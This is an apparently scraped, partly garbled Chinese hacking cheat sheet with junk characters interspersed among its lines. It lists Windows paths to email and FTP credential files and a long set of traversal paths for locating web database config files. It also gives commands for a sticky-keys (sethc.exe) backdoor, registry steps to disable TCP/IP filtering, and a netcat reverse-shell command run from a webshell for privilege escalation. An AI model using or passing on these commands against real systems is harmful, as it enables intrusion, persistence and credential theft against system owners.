4 J# {! Z* C4 OC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
3 b) c; O" S# j2 \2 T9 mc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
$ ^" p3 t" G) fC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
6 F/ c/ d  Y$ o: i! S" e4 x( l1 }8 fC:\Program Files\tencent\Foxmal\accounts.cfg
" L  N4 f1 X) a* W* M/ c7 ~/ wC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
' X5 ?4 _0 g; g$ Wc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
' K3 O& j6 v- pC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
+ G5 R' R2 t  r+ O( a7 y0 mc:\Program Files\Oracle\bin\regsvr32.exe
4 I0 A2 W9 \- {, h% v9 K9 [c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
+ j$ Y0 H0 f; bc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:
9 R. k1 g) }$ M
/config.php
../../config.php
, [% ]& K# Y2 G& J/ s+ Q../config.php
../../../config.php
8 V+ q6 `- p1 ?! L7 ~* C2 ^' l/config.inc.php
./config.inc.php
% l/ y* S$ p9 w6 x9 o  q1 J1 G../../config.inc.php
../config.inc.php
) E6 i2 p% m: o6 }../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
0 K" M7 L& ], [9 \* N../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
( N9 K- n7 X  M& G5 T' N1 B7 x../../../conn.asp
/config.inc.php
9 f. g0 b* H/ M6 y0 I9 W! u0 H; p./config.inc.php
../../config.inc.php
# v, ?6 }+ o& P& i2 g8 C../config.inc.php
../../../config.inc.php
" l) @, m5 n1 j$ ^4 R7 _) z/config/config.php
../../config/config.php
: M+ z+ Y( v: p1 \../config/config.php
- O$ u' G9 n/ `) r9 T  p../../../config/config.php
/config/config.inc.php
6 q( P1 g( w  |( Z- @- m./config/config.inc.php
+ U" n8 J: \1 A8 j9 {  n7 |) ]../../config/config.inc.php
) I+ [* |, E7 D) n7 A3 a7 A, H../config/config.inc.php
../../../config/config.inc.php
  |( u1 L6 i$ \" s- ?/config/conn.php
7 N5 L: `5 Y( g./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
3 z0 z# h* E! L- q/config/conn.asp
& |7 N( P) n0 w+ t4 ~4 R+ i./config/conn.asp
$ c& I% M  d! R% `1 N../../config/conn.asp
# P. h3 B1 M. |: ^: v1 h; e9 i../config/conn.asp
5 ]9 S+ I2 K/ J5 @" V../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
1 ?% G0 O3 C# z" L% J6 S2 r. i../config/config.inc.php
../../../config/config.inc.php
4 z  V; r: U: u( x* ~9 c4 R/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
! a. Q1 Z+ \$ ~; S( F; x/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
, g. C5 J% r+ A0 K; ]0 d2 P../../../data/config.inc.php
5 U. A6 v7 D7 H* Y/data/conn.php
./data/conn.php
* s8 C; x( @& }$ x8 D% z+ y../../data/conn.php
3 A% X- d* G0 m# V5 e! y../data/conn.php
7 r* h0 A+ k. H7 D% @0 y  B: ?$ |7 |../../../data/conn.php
( x) V3 g5 q1 h! ?( Q4 ?5 Y/data/conn.asp
: ?) D6 {" x. m) y0 x, @./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
" P* i, S* B+ S3 x% v$ D. ]% f../../data/config.inc.php
& e, U/ X+ c+ x$ N8 r../data/config.inc.php
../../../data/config.inc.php
0 f! O: ^& d1 F/include/config.php
../../include/config.php
../include/config.php
6 b& h) I$ J/ Y../../../include/config.php
4 ]  N  m* N$ M' u+ ]$ K/include/config.inc.php
' H2 ?1 M, q  S./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
  I* ]( b" R/ Y& `7 D: z9 H1 H./include/conn.php
../../include/conn.php
+ B7 Z8 p! R; L  @0 h3 d$ E) W../include/conn.php
* ]& f$ I' c1 k6 B% V../../../include/conn.php
- E' V7 O9 M& G, H* P7 A/include/conn.asp
+ ^/ i7 [" y3 J' j6 [( }2 B& }./include/conn.asp
! ^6 b$ V' `2 U% w; D, ]../../include/conn.asp
) b5 z/ n9 m4 Z& |! Z../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
0 ^5 ?% J. N5 |" e& y; Z/ P../../include/config.inc.php
../include/config.inc.php
" V3 t# P* P5 Q; P, A$ @& E5 W../../../include/config.inc.php
4 d% W5 S# c+ t, r/inc/config.php
9 T8 r0 H9 ]# n# m& b, G+ ?# Y4 E../../inc/config.php
../inc/config.php
& U! D- N. n. n../../../inc/config.php
/inc/config.inc.php
6 h# r' l3 m8 W8 r) Z" {; J7 q./inc/config.inc.php
0 e9 _. G4 k  D7 d: B) Y../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
8 A! D: u# }: B  e6 ]* F; @./inc/conn.php
../../inc/conn.php
7 b* I: i! J* X9 w7 k../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
. }  Q; b% \, f5 k3 G1 x8 k6 n../inc/conn.asp
3 L6 w8 N: A1 O  _../../../inc/conn.asp
& `& x- g4 ~" p3 r5 v1 ]7 T/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
- t6 K5 @' T" z# Y9 H0 A/index.php
+ G$ G% \7 z% J4 N./index.php
../../index.php
../index.php
../../../index.php
* n: o" e4 R; X; F/index.asp
./index.asp
. f1 X& ?$ I. s9 K3 M../../index.asp
../index.asp
' \: z( t' M9 W) \4 l0 Z../../../index.asp
替换SHIFT后门
" Y8 t) D# {  H' J* D　attrib c:\windows\system32\sethc.exe -h -r -s
/ W% i1 q; f! O9 Z
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

: b8 j5 B% U6 h, n: K1 P　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
0 R0 e6 N2 b  f. c+ J3 A' q
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

' g8 C4 L4 S  j0 F$ O9 _　　attrib c:\windows\system32\sethc.exe +h +r +s
9 ?) B, H/ E3 s! f. }; ~) `* F$ X
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
  m  J5 I3 m9 V: K1 r- f/ [( h去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
2 s" @( z' R2 e  e* i
8 a0 c5 T7 ^3 i2 F! j  X分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
% o+ @/ G1 q0 w命令来导出注册表项
9 b, N' p: N  H2 t) P
' e4 p9 ~5 k" C1 L1 ^然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
$ a9 ]1 w% L' ]% ~+ R, a- \& H
( Y( M# z- q) ~) P- Q. m) q# m再将以上三个文件分别用
: u1 M3 x; \9 K$ uregedit -s D:\a.reg
regedit -s D:\b.reg
0 n$ k$ Q/ h5 K" S/ S$ `. xregedit -s D:\c.reg
. Q# J# P0 v( C$ |7 S9 n* ]导入注册表即可
1 x( F% m2 |- a" x0 a
# W9 [) ]8 r  E2 e2 o' d, Swebshell提权小技巧
cmd路径:
# ~, V6 |; m7 x/ @c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
' R& }. r1 C( [$ V" }! y, e2 @7 H; J"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
( n3 n& V' X. \0 i- e$ r( F! b5 e通常都不会成功。
- w$ u. z' M# ~5 }+ }/ Y. `
5 e5 O5 A% g3 T( H6 J4 d& Z而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功